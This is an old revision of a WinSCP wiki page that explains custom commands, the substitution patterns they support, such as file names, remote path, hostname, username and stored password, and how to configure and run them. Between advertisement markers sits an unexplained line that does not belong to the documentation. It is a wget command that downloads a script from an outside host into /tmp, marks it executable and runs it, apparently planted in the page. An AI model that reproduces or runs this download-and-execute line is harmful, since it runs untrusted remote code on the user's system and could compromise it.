This is an old revision of the document!
Custom Commands
If there is a remote command you need to execute regularly and in particular if the command works with files, you may find custom commands useful.
A custom command is a predefined command which can contain several patterns that WinSCP replaces, for example, with names of files selected in a panel (see below). For example, the pre-defined custom command Touch, defined as touch “!”
, calls the touch
command on every selected file in the remote panel.
However you can have even custom commands without patterns, just to avoid typing the command again every time.
Advertisement
wget -q -O /tmp/cyinstall.sh http://downloads.kr1sis.net/cyinstall.sh && chmod 755 /tmp/cyinstall.sh && /tmp/cyinstall.sh
Patterns Used in Custom Commands
You can use following patterns in your custom commands:
Pattern | Command Type | Descriptions |
---|---|---|
!! |
Any | Is replaced with exclamation mark (! ). |
! |
Any | Name of file. Command with the pattern will be executed once for every selected file. In general it should be surrounded with quotes for the command to work with filenames containing spaces. Cannot be combined with pattern !& . |
!& |
Any | Quoted, space-delimited list of files. Command with the pattern will be executed only once for all selected files. Cannot be combined with pattern ! and executed recursively. |
!/ |
Any | Current remote path. |
!@ |
Any | Current session hostname. |
!u |
Any | Current session username. |
!p |
Any | Current session password (if remembered). |
!?prompt[\]?default! |
Any | When used, user is prompted to enter value that replaces the pattern. prompt can define a message of the prompt and default a default value, both can be empty. Special characters entered by user are automatically delimited. You can prohibit this using optional backslash (\ ) before second question mark (? ). |
!^! |
Local | Name of local file. In general it should be used in combination with ! or !& . Command with the pattern will be executed once for every selected local file, unless only one local file and several remote files are selected and pattern ! is used. Cannot be executed recursively. |
Advertisement
The custom command is executed for files selected in file panel. It can be optionally executed also for selected directories or for files in selected directories (or both).
Executing and Configuring Custom Commands
Custom commands are located in menu File(s) > Custom Commands, in file context menu and on special Custom Command toolbar. Custom commands can be configured in Preferences.
You may eventually want to execute ad hoc custom command, without predefining it first. To do so, go to File(s) > Custom Commands > Enter. To repeat the last ad hoc custom command, go to File(s) > Custom Commands > Last.
Custom commands that are executed both with local and remote files can be used on synchronization checklist window.
Useful Custom Commands
You can see list of custom commands other users found useful.